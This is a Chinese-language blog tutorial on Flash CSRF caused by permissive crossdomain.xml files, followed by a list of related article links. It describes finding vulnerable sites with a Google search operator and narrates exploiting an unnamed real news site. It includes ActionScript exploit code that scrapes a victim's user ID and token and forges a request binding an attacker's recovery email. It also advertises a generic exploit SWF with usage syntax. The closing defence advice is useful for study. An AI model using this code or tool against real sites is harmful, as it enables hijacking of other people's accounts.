Flash CSRF
目錄
0x00 Flash CSRF 名詞解釋
0x01 Flash CSRF形成的原因
0x02 Flash CSRF可以幹些什麼
0x03 Flash CSRF如何利用
0x04 Flash CSRF怎麼防禦
0x00 Flash CSRF名詞解釋
CSRF(Cross-site request forgery跨站請求偽造,是一種對網站的惡意利用,CSRF則透過偽裝來自受信任使用者的請求來利用受信任的網站。
Flash CSRF通常是由於Crossdomain.xml檔案配置不當造成的,利用方法是使用swf來發起跨站請求偽造。
0x01 Flash CSRF形成的原因
So 官腔我們也打了,還是要乾點實事PS::)
為人民服務的好孩子,我們來看看如何尋找Flash CSRF:
首先我們要知道怎麼形成CSRF的
PS:CSRF形成的原因大概有以下幾種:
Flash跨域許可權管理檔案設定為允許所有主機/域名跨域對本站進行讀寫資料:
#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
Flash跨域許可權管理檔案過濾規則不嚴(domain=”*”),導致可以從其它任何域傳Flash產生CSRF。
0x02 如何來發現哪些地方存在Flash CSRF
騷年們,前面我們介紹了形成Flash CSRF的原因,我們是不是就可以對站下藥了,難道又有一波個人資料被莫名被修改成“狗皮膏藥”廣告的節奏啊,敬告各位看官,看見了這篇文章之後請檢查自己的站是否存在Flash CSRF以免減少被舉報而帶來的鉅額損失啊(吊絲們對各位看官望塵莫及啊):
由上面我們得知Flash CSRF是因為跨域許可權管理檔案配置不當而產生的,所以我們可以在根目錄開啟Crossdomain.xml來檢視該網站或者只域名是否存在FLAH的CSRF:
http://www.xxx.com/crossdomain.xml
#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
0x02 Flash CSRF可以幹些什麼
在一個月黑風高的夜晚,Flash CSRF慢慢的在向XX網靠近,下面說說我是怎麼找到XX網的Flash CSRF和利用XX網的Flash CSRF直接修改訪問者賬號資訊。
無聊的逛著各大新聞網站,感覺這些大部分新聞網站的新聞源都差不多沒幾下就看完了,最後覺得自己作為天朝一員還是應該關係關係下國家大事,就懵懂懂的開啟了XX網,關心了下我國基本國情,始終耐不住寂寞,正好前兩天學習了Flash CSRF的原理和危害,但是一直沒找到東西練手,大家都知道天朝的網站是多麼的牛B,但是也只是抱著試試的心態,完全就是小孩子玩玩泥巴而已了,玩笑時間到,回到正題:),我先開啟xx網,按照剛剛前面查詢該網站是否有Flash CSRF漏洞我們第一步該判斷什麼?沒錯就是看官們看到的這樣,我也只是個凡人而已。。。。於是就有了如下的FlashCSRF漏洞查詢流程:
Google hack:crossdomain filetype:xml
#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*" secure=”true”/>
</cross-domain-policy>
Secure=true的意思是隻允許透過安全連結來請求本域的資料。
隨手檢視了發現前2個全都是需要用ssl證照加密了之後的網站裡面的Flash的檔案才能獲取本域的內容,突然之間腦海就浮現了一種奇怪的想法,自己搭建SSL網站,然後呼叫Flash檔案進去不就可以讀他們網站的資料和傳送post請求,可是又遇見瓶頸了,找了這麼多地方我Flash還沒有地方可以插的,在不屑努力下,找到BLOG根目錄下面的CrossDomain.xml檔案居然允許所有主機的Flash讀取本域的資料-PS:),下面我們就試試BLOG頁面,發現也有,當然耐心也是必須的。
0x03 Flash CSRF如何利用
我們找一個可以插入Flash的地方,插入我們自己寫的Flash,訪客訪問我們網頁就會執行我們寫的指令碼,下面我們來看看Flash CSRF具體利用方法。 So~下面我們來製造一個訪客訪問我們連結的時候,自動設定自己的密保郵箱:
首先我們新增保密郵箱點提交,然後抓包分析它提交了什麼內容,然後來構造我們的Flash CSRF利用程式碼,下面我們提交繫結保密郵箱請求,抓包分析它的資料。 申請保密郵箱,瀏覽器向服務端傳送了一個POST請求,請求地址和引數為:
POST:xxx.xxx.xx/xx.jsp?userid=xxxx&[email protected]
[email protected]ferer,但是頁面驗證了Token,所以我們就可以直接把POST資料包中的請求地址,引數名,引數值,Token值取出來用於偽造繫結保密郵箱的請求。
利用程式碼:
#!as3
package {
import flash.display.Sprite;
import flash.events.Event;
import flash.net.*;
import flash.text.TextField;
public class url extends Sprite
{
public function url()
{
//獲取當前頁面userid/token
var echo_txt:TextField = new TextField();
var targetURL:String = "http://xx.xx.cc";
var request:URLRequest = new URLRequest(targetURL);
request.method = URLRequestMethod.GET;
request.data = "";
sendToURL(request);
var loader:URLLoader=new URLLoader();
loader.addEventListener(Event.COMPLETE,completeHandler);
function completeHandler(event:Event):void{
var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];
var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];
echo_txt.text = masthash;
//偽造申請密保郵箱POST請求
var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";
var emailrequest:URLRequest = new URLRequest(emailtargetURL);
emailrequest.method = URLRequestMethod.POST;
var postdata:Object = new Array();
postdata[0]="[email protected]&xxxx="+xxxxx&"xxxxx="+xxx;
emailrequest.data = postdata[0];
sendToURL(emailrequest);
}
loader.load(request);
}
}
}
我們用一個新賬號來做測試看看效果 :)
0x04 Flash CSRF怎麼防禦
知道Flash CSRF攻擊流程,然後在防禦就so easy了~:)
媽媽再也不擔心我被Flash CSRF啦~雖然各位看官都明白了怎麼防禦,但是還是照例囉嗦一下啦:
一句話概括:站點根目錄CrossDomain.xml跨域獲取資訊許可權控制好,精確到子域,不給不法分子留下機會!! 附一份自己網站的CrossDomain.xml檔案許可權配置:
#!xml
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="http://xx.xx.com" secure="true”/>
<allow-access-from domain="http://cc.xx.com" secure="true”/>
</cross-domain-policy>
根據自己的業務需求來更改CrossDomain.xml檔案配置,切記精確到子域,這樣會大大減少Flash CSRF的風險!
通用Flash CSRF EXP : FlashCSRFexp.swf
使用方法:
FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
PS:url=[post請求的地址]&[引數值用&分開]
謝謝各位大牛捧場,十分感謝二哥,長短短,PKAV團隊的技術栽培 :)~
相關文章
- csrf2024-03-26
- CSRF(原理)2024-05-12
- xss csrf2019-01-13
- CSRF 攻擊2024-10-05
- csrf問題2024-09-28
- CSRF攻擊2024-05-17
- CSRF_TOKEN2019-07-28
- XSS和CSRF2019-05-06
- csrf實驗2019-02-16
- 前端安全 - CSRF2019-01-06前端
- 什麼是CSRF跨站請求偽造?(from表單效驗csrf-ajdax效驗csrf-Ajax設定csrf-CBV裝飾器驗證csrf)2022-03-20
- 什麼是CSRF攻擊?如何防禦CSRF攻擊?2023-02-17
- 邪惡的CSRF2020-08-19
- csrf漏洞淺談2020-11-13
- NAND Flash和NOR Flash的區別2020-11-02NaN
- 簡單的csrf漏洞2024-06-25
- CSRF 與SSRF基礎2024-03-28
- csrf攻擊例項2019-04-02
- flash轉音訊軟體(thundersoft flash to audio converter)2020-12-17音訊
- FLV(Flash Video)2024-07-23IDE
- Flash 訊息2020-05-30
- 再見,Flash2021-01-07
- flash資料2018-11-14
- CSRF攻擊與防禦2024-11-01
- 什麼是CSRF攻擊?2023-02-25
- CSRF(Pikachu靶場練習)2024-05-10
- CSRF 攻擊與防禦2019-11-18
- XSS CSRF 學習筆記2020-07-27筆記
- 對CSRF的簡單理解2020-11-30
- Web安全漏洞之CSRF2019-03-04Web
- csrf攻擊與防範2018-05-16
- CSRF 攻擊深入淺出2018-04-12
- Django csrf跨站請求偽造,校驗,CBV忽略與允許csrf校驗2024-03-25Django
- Adobe Flash 浮沉錄2020-07-16
- 配置FLASH分割槽2020-04-06
- 前端實現csrf防止攻擊2024-10-24前端
- CSRF - 跨站請求偽造2024-04-02
- CSRF攻擊與Django防範2020-02-29Django